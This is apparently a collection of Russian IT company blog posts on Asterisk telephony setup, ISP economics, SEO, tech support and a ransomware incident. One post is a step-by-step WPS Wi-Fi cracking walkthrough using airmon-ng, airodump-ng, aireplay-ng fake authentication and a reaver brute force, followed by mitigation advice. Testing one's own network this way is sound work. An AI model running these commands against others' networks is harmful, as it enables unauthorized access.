Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____






Не далее чем четыре месяца назад столкнулись с очень хитрым вирусом. Действие его было следующим, по email приходило письмо с вложенным файлом ввиде резюме.doc, с адекватной темой письма, что-то вроде “резюме от Нины Анатольевны”

Пользователь получавший такое письмо, ничего не подозревая открывал письмо и запускал вложение. В этот момент все открытые документы в word, excel, power point, банк клиенты и т.д. просто блокировались каким-то хитрым крипто ключом вируса и естественно далее эти файлы были недоступны для использования.

Погуглив в интернете нашли нескольких, таких же потерпевших, которые поделились информацией, что даже нашли контакты злоумышленника и он требовал деньги за разблокировку, но вероятно это был мошенник.

В нашем случае клиенту пришлось блокировать все свои счета в банках и переделывать ключи, сертификаты и пр. Это очень затратно по времени и деньгам, а сколько нервов ушло у главного бухгалтера! Конечно же после такого, бухгалтер уже не открывала все письма подряд, следя за безопасностью своего компьютера. Защиту улучшили с помощью соответствующих программ.

Мы настоятельно рекомендуют нашим клиентам использовать защиту от вирусов ввиде антивирусного и антишпионского ПО, не заходить на сомнительные и прямо запрещенные сайты, не открывать вложения в спам письмах и письмах, которые по работе не предназначаются получателю.

Безопасность прежде всего!

Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____






В этой части поговорим о extention.conf. В этом файле также есть набор параметров, которые могут использоваться в повседневной тяжелой жизни предприятия не занимающимся добычей и продажей нефти и нефтепродуктов 🙂

IP телефония астериск

Нам необходимо было решить следующую задачу: подключить городской московский номер, сделать переадресацию, добавить автосекретаря (ввиде сообщения, о том куда позвонил звонящий) и подключить мелодию ожидания вызова (чтобы звонящий насладился 9 симфонией Баха).

В принципе настройки, которые разработчики предложили я не исправлял, только добавил в конце файла обрабатывающий вх/исх звонки контент, а именно:

[office] ;название уже фигурирует в sip.conf, здесь мы расписываем что и как.

// при входящем звонке на городской номер 7499*******
exten => 7499*******,1,Answer() ;команда поднимает трубку
exten => 7499*******,n,Playback(/var/lib/asterisk/moh/lena) ;команда проигрывает сообщение о том, что Вы позвонили туда-то, ожидайте Вам скоро ответят
exten => 7499*******,n,Set(CALLERID(num)=7499*******) ;команда устанавливает ID номера, который при переадресации будет высвечиваться у получателя звонка, т.е. схема прохождение звонка: звонящий – гор. моск номер – сотовый номер
exten => 7499*******,n,Dial(SIP/891********@2000,,Ttrm(moh)) ;команда которая собственно и переадресовывает звонок на сотовый номер, посмотрите что при этом после @ идет 2000 – помните мы его описывали в sip.conf настройка на провайдера телефонии, вот здесь он нам и пригодился. Ttrm(moh) – это мелодия проигрываемая во время ожидания ответа получателя, в третьей части более подробно описана
exten => 7499*******,n,Hangup() ;команда положить трубку, которая срабатывает примерно через 2 мин, если никто не ответил на звонок

//при исходящем звонке, например с программного телефона
exten => _X.,1,Dial(SIP/${EXTEN}@2000) ;команда набора номера, например если будете звонить с программного телефона
exten => _+7XXXXXXXXXX,1,GoTo(office,8${EXTEN:2},1) ;что-то подзабыл для чего эта команда, если не изменяет память, то чтобы набирать номер начиная с 8

Если нужен другой функционал, то можете обратиться в нашу компанию за консультацией и услугой.

P.S. не забываем, что для переадресации звонка на сотовый, необходимо 2 линии от оператора, одна линия занимается на вх. звонок, вторая на переадресованный.

Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____






У нас остались маленькие, но важные нюансы:

1. Конфигурация музыки на удержании выполняется через sudo nano /etc/asterisk/musiconhold.conf
[default] 
mode=custom
directory=/var/lib/asterisk/moh

[moh]
mode=mp3
directory=/var/lib/asterisk/moh

Не забываем, что в moh должен быть, в нашем случае, файл lena.alaw и музыка в режиме удержания может быть в mp3 (файлы должны называться маленькими прописными буквами например uno.mp3) файлы также должны быть в папке moh

2. Чтобы записать автосекретаря можно заплатить профессиональной студии, а можно просто записать с помощью программы Audacity.

3. Статистика звонков находится здесь /var/log/asterisk/cdr-csv

4. Как только получилось настроить систему сразу же сделайте бэк ап рабочей версии. 

5. для просмотра работы астериска используется CLI, если надо смотреть детально, что происходит то тогда sudo asterisk -vvvvvvr
Важно помнить, что если производите изменения в файлах sip и extention не забываем перезагружать астериск, т.е. заходим в КЛИ и пишем reload. Также при первой установке и настройке не забудьте после всех манипуляций перезагрузить комп. 

На этом трилогия заканчивается. Удачного использования поистине важного изобретения 🙂

Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____

Решили проверить можно ли взломать локальную wifi сеть через уязвимость, которая есть практически на каждом современном роутере, а именно через, по умолчанию включенную, WPS. 

Начальные условия: роутер кинетик, пароль численный = 8 знаков, нетбук с убунтой со встроенным wifi модулем, предустановленны программы airmon, airodump и aireplay. 

Через терминал:
– переводим наш адаптер в режим мониторинга, при этом появится новый интерфейс: sudo airmon-ng start wlan0
– сканируем окружающие нас точки доступа: sudo airodump-ng mon0
– сканируем отдельную точку: sudo airodump-ng –c 6 mon0 –bssid MAC_ADDR // можно указать опцию -c Номер_Канала (6-ка это канал wifi можно ставить и другие каналы). Предыдущий шаг нам наглядно демонстрирует по какому каналу “пробивается” роутер. Я думаю, вы догадались что после опции –bssid надо писать МАК роутера (его BSSID) //

“- wash –i mon0″ – почему-то не срабатывает, пробовали и bssid в конце” – подробнее о этой команде можно найти в интернете

– Далее посылаем фальшивый запрос на аутентификацию sudo aireplay-ng -1 10 -a MAC_ADDR -e DIR-300NRU mon0 // DIR-300NRU сетевое wifi имя // 
– И начнем подбирать пароль программой reaver: sudo reaver -i mon0 -b MAC_ADDR -s –vv

На взлом wifi сети ушло порядка 2 часов, в конце последняя команда выдала правильный пароль. 
Для взлома естественно нужен хороший уровень сигнала иначе сама процедура взлома будет идти мучительно долго. 

Лекарство от взлома: выключить WPS, сделать пароль численно буквенный превышающий 8 символов, также по хорошему посмотреть на открытость доступов по телнет, ssh и пр. удаленностям. 

P.S. наиболее полно и интересно функции airmon, airodump и aireplay описаны здесь https://forum.antichat.ru/thread50472.html

Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____






Примерно в 2008 г. цены на операторский трафик резко пошли вниз, причем, в течении последующих двух лет, цена опустилась в среднем как минимум в два раза. Естественно доходность интернет провайдеров, продающих операторский траффик упала, а вот маржинальность провайдеров работающих с конечными пользователями (как физ. лицами так и юр) наоборот поползла вверх. В это же самое время сотовые гиганты + 1 гос монополист, как с цепи сорвались и начали скупать всех провайдеров независимо от величины по всей РФ. Рынок начало лихорадить, кто-то банкротился, кто-то наоборот разбогател на продаже своего актива в несколько раз выше нежели он стоил. В конечном счете рынок стабилизировался и сферы влияния были обозначены четко, мелким игрокам делать в интернет провайдинге стало не чего, за исключением тех, кто ловко договаривался с владельцами бизнес центров на индивидуальные, прибыльные условия или монопольно покрывал жилые районы своей сетью.

В результате операторская цена трафика с хорошей связностью основных медиа ресурсов (вконтакте, однокласники и пр.) стал продаваться за полосу 1 Гб/с менее 100 т.р./мес. Естественно, в этот канал можно напихать как юриков так и физиков неимоверное количество, тем более, что график загрузки каналов этих потребителей совершенно различный (физики занимают канал начиная примерно с 20.00 и выходные, юрики обычно рабочие будни с 10.00 до 12.00 и с 14.00 – 17.00). 

В тоже время стоимость трафика на эксчендже (в Москве это ммтс9, позже и на других площадках начался процесс обмена трафиком между крупными провайдерами), также резко снизился и порт 1 гб/с был меньше 60 т.р., но вот связность трафика на таком порту была мягко говоря не очень. Западный трафик выгодно было покупать за границей (даже с учетом стоимости аренды канала. Исторически сложилось, что в основном из Финляндии). 

Развитие эксченджей привело в итоге к тому, что разница между корпоративным и интернетом для физика практически исчезла – это почувствовали особенно прижимистые предприниматели и начали массово оформлять договора на физ. Лиц под тем или иным соусом.

Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____






В статье попробуем разобраться сколько нужно денег и людей для того, чтобы организовать бизнес интернет-провайдера.

Организация провайдерского бизнеса

Итак поехали:

1. Клиенты – у Вас должен быть какой-то финансово предсказуемый пул потенциальных клиентов. Например, вошли в бизнес центр на эксклюзивных условиях или можете охватить своей сетью пять жилых многоэтажных домов и пр.
2. Вы должны найти поставщика, от кого будете брать оптом интернет или интернет канал у верхнего провайдера.
3. Вы должны, отталкиваясь от первого пункта, подобрать соответствующее железо (коммутаторы, маршрутизаторы и пр.), рассчитать затраты на оптику/медь + биллинг, с учетом развития, причем сразу брать тяжелые циски я бы не рекомендовал (хороший вариант – старые проверенные годами б/у длинки, отлично могут вписаться по цене).
4. Зарегистрировать ООО или ИП с УСН (можно взять схему расход – доход, хотя тут надо отталкиваться опять же от первого пункта, в любом случае НДС на начале не нужен).
5. Наличие лицензии (передачи данных, телематика и можно передача голоса по сети передачи данных) и плана мероприятий ФСБ (на три года забудете о проблемах с ФСБ).
6. Должен быть вменяемый, проверенный боями технический специалист. Если Вы, как владелец предприятия, сами являетесь таковым, то считай от 50 – 100 т.р. ежемесячно Вы сэкономили на ЗП и прочих налогах. Если нет, то лучше как можно подробнее понимать как строится сеть, где слабые места и что произойдет, если тех. спец не придет завтра на работу (или положит Вам сеть в самый пиковый момент, таких примеров, кстати, очень много).
7. В соответствии с рыночными условиями, определить тарифные планы и стратегию продвижения услуг. Можно попробовать еще до открытия ООО продать пару подключений, по максимально возможному, очень высокому тарифу (понять верхнюю тарифную планку для конкретно этого места).
8. Рассчитать полосу пропускания и загрузку канала.
9. Подобрать другие полезные клиенту опции, которые будут приносить доход.

Пример: нужно организовать доступ в интернет в бизнес центре класса А или Б (100 предприятий арендаторов).

Получаем:

1. железа и проводов на 200 т.р. (минимум) + биллинг 100 т.р.,
2. открытие ООО 30-40 т.р.,
3. интернет 10 Мбит/с качественный с хорошим показателем связности 10 т.р./мес,
4. лицензии 10 т.р. (если сами получаете) и 30 т.р., если Вам помогают.

Итого организация провайдерского бизнеса, не учитывая тех. спеца, бухгалтера и продавца, вам обойдется порядка 300 т.р. в первый месяц, потом пойдут ежемесячные платежи ЗП, налоги и ежемесячный платеж за интернет поставщику.

Все выше перечисленные пункты сводим в бизнес план, берем деньги у богатого акционера и с высокими порывами несемся на всех парах к своему светлому будущему 🙂

Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____






Когда Вы звоните в техподдержку, Вам отвечает приятный женский или мужской голос и в большинстве случаев мягким голосом спрашивает какая у вас проблема – это вы попали на первый уровень приема входящих звонков. Суть этого уровня, либо Вас отфутболить подальше со своей проблемой, либо пропустить на второй уровень технической поддержки.

Пример: у вас не работает интернет, вы до звонились и рассказали о неполадке, в ответ просят сказать номер договора, это стандартных ход отвлекающий звонящего от его главной проблемы, заодно проверяя баланс на Вашем счете. Потом начинают спрашивать, а интернет в роутер заходит, или напрямую к компьютеру, если через роутер, то просят присоединиться кабель напрямую к компьютеру, тем самым исключают глюки на роутере, в большинстве случаев это срабатывает. Если же и в этом случае нет коннекта, тогда пингуют от своей пограничной “железки”. Обычно на этапе пинга переключают на второй уровень поддержки. В большинстве своем первый уровень пытается доказать Вам, что виновато ваше железо или ваши руки. А также, по вашему разговору, определяют уровень Вашей технической подготовки и, если вы с первых слов ставите собеседника в ступор, то вас сразу перебросят на второй уровень. 

На втором уровне уже сидят обычные технические специалисты со средним уровнем подготовки, они пингуют, пытаются выяснить есть ли пропадания пакетов на кабеле, могут удаленно дать рекомендации по настройке сетевой карты, роутера. В конечном счете, определяют направление решения этой технической проблемы и, если это в их сфере, тогда проблема решается сразу же. Если проблема не в его компетенции, а это очень редкий случай, то вас могут перевести на третий уровень, где сидят люди с очень хорошей технической подготовкой и, если вы имеете такой же багаж знаний, то решение проблемы не займет много времени.

Можем дать несколько советов как правильно говорить с техподдержкой:

До звонка в техподдержку. Приготовьте номер договора, сформулируйте суть проблемы, попробуйте подключить интернет кабель напрямую, проверьте баланс.

Во время звонка. Настоятельно Вам рекомендуем не ругаться с техподдержкой, а в мирном конструктивном русле выяснить суть проблемы и настроить отвечающего не на разборку, а на поиск конструктивного решения

Если решить проблему не удается сразу, по телефону, тогда Вам нужно взять номер заведенной технической заявке и уже дальше перезванивать в техподдержку используя этот номер.

Надеемся эта информация будет полезна Вам.

Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____






Для начала определимся, что же такое SEO (далее по тексту СЕО) продвижение, SEO (search engine optimization) – это комплекс мер принятых для поднятия рейтинга продвигаемого сайта в результатах выдачи поисковых системах (Яндекс, GOOGLE и т.д.).

Тема продвижении и оптимизации сайта мучает любого сео специалиста и о ней постоянно слышат владельцы организаций, принимая услышанное чаще всего на уровне какого-то фантастического рассказа, но чувствуя, что на этом можно заработать, пытаются воспользоваться услугами таких специалистов.

Есть одно небольшое, но важное замечание, специалист по сео продвижению не является владельцем вашего бизнеса – это не его “ребенок” и он не готов жертвовать всем своим временем для его роста и развития. Что этим можно сказать, только то, что владелец должен попытаться разобраться в основных понятиях и хорошо проэкзаменировать сео специалиста по ним, после чего принять решение на счет его услуг.

Итак, что по нашему мнению нужно понимать владельцу:
1. Без его прямого участия эффект сео будет незначительным
2. Сразу нужно понять, что будет после сео продвижения компании через месяц, полгода и год.
3. Основные инструменты сео продвижения их прямые эффекты на компанию в краткосрочной перспективе и долгосрочной.
4. Четкие результаты сео продвижения
5. За счет какого контента будет производиться эффект увеличения индекса цитируемости в яндексе и гугл ранк.

Остановимся на каждом пункте по подробнее.

1. При неучастии владельца бизнеса. Незначительность эффекта от продвижения и оптимизации сайта получится потому, что только владелец бизнеса имеет четкое представление о сильных и слабых сторонах его компании, специфики его бизнеса, нюансов и т.д. На основании этого знания СЕО специалистом строится стратегия продвижения, семантическое ядро продвигаемого контента или проще говоря совместно с владельцем определяется на каких интернет ресурсах (каталоги, социальные сети, платные площадки для ссылок и статей, новостные порталы и пр.) будет сфокусирован взгляд продвигаемого продукта. Ведь по сути конечная цель СЕО продвижения -это увеличение клиентов, входящих в офис звонков, за счет привлечения на сайт потенциальных клиентов.

Часть 2

Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____






В предыдущих обзорах мы полностью привели рабочую версию астериска сконфигурированную на платформе убунта со подключением к внешнему провайдеру. А также привели простейшие настройки этого номера.

Программы для ip телефонии или софтфоны

Теперь попробуем разобраться с софтфонами. Мы протестировали достаточное количество и пришли к выводу что наиболее простая и рабочая версия есть у фирмы 3CXphone. Эта компания реализовала свой продукт практически на всех известных платформах от android и iOS до компьютерных ОС windows.

Программа настраивается просто приведем пример исходя из нашей конфигурации астериска. Итак создаем account с названием как у нас в sip.conf 2001
Name: 2001
Display name: 2001
User: 2001
ID: 2001
Password: xxxxxxx
Local pbx ip: 192.168.xx.xx здесь либо пишем ip адрес на котором висит астериск, либо задаем внешний статический белый ip на котором висит вся сеть с астериском в придачу в следующей строке.
External pbx ip: 91.xx.xx.xx
Pbx port: 5060 /не забываем что на роутере должн быть открыт этот порт извне
Остальные настройки можно не трогать и оставить как есть.

Если все условия соблюдены то вы увидите на экране On hook, то есть связь установленна. Если же программа не законектилась, то проверяйте ее настройки, настройки роутера (nat должен быть отключен) и пускает ли Вас провайдер (зарегестрировал ли он Ваш внешний ip на своей железке).

P.S. в версии софтфона для компьютеров с операционными системами windows Вам необходимо прописать в строе Интрфейс ip адрес компьютера, на котором установлена программа 3CXphone.

Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____






2. Комплексное продвижение сайтов для владельца бизнеса должно идти непрерывно, даже если услуги сео специалиста уже давно закончились (см. третий пункт). Каким образом можно понять, что будет после того как сео специалист закончил работу? Все просто, если ссылочная масса резко не падает в течении года, после окончания оптимизации, значит продвижение с этой точки зрения проведено хорошо. Второй момент надо четко представлять где эти анкорные ссылки расположены, если бизнес по продаже футбольных мячей, а ссылки расположены на порталах товаров для автомобилей, то такие ссылки не совсем нужные.

3. В принципе инструментов для продвижения сайта в интернете не так и много: ссылочное продвижение сайтов (не самое лучшее, однако яндекс в принципе не против такого продвижения), продвижение статьями сайта, продвижение собственным контентом (т.е. Ваш контент со ссылкой на Ваш сайт, размещается на других сайтах без Вашего участия). В краткосрочной перспективе самый эффективный способ это конечно ссылочное продвижение, но в долгосрочном плане это плохой метод, так как ссылки закупаются в основном на короткое время (на несколько месяцев). В долгосрочной перспективе статьями продвигать намного эффективнее, так как они остаются на очень долгий срок. Самое эффективное это конечно же развитие своего контента и его продвижение среди большего числа владельцев сайтов или обычных пользователей интернет (различные форумы, каталоги статей и пр.).

4. Компания по продвижению сайтов всегда имеет какие-то более или менее четкие границы по ее результату. Существуют промежуточные результаты и окончательные, по промежуточным Вы можете понять как идет компания и за счет чего происходит продвижение в поисковых системах. Поэтому чем конкреетнее и полнее предоставляется отчет сео специалистом, тем Вы как владелец бизнеса более четко представляете что и как идет с Вашим сайтом.

5. Контент контенту рознь. Вконтакте имеет контент как медийного характера (аудио, видео и пр.), так и текстового (страницы пользователей), you tube исключительно медийный характер, любой новостной портал в основном развивается за счет текстового контента и все эти ресурсы сильно развиты за счет увеличения собственного контента. Даже если Вы раз в день размещаете какие-либо объявления это уже большой плюс к карме Вашего сайта.

Наша компания в основном помогает своим клиентам приобрести новых клиентов за счет внутреннего развития своего сайта, а также за счет статейного продвижения услуг.

Часть 1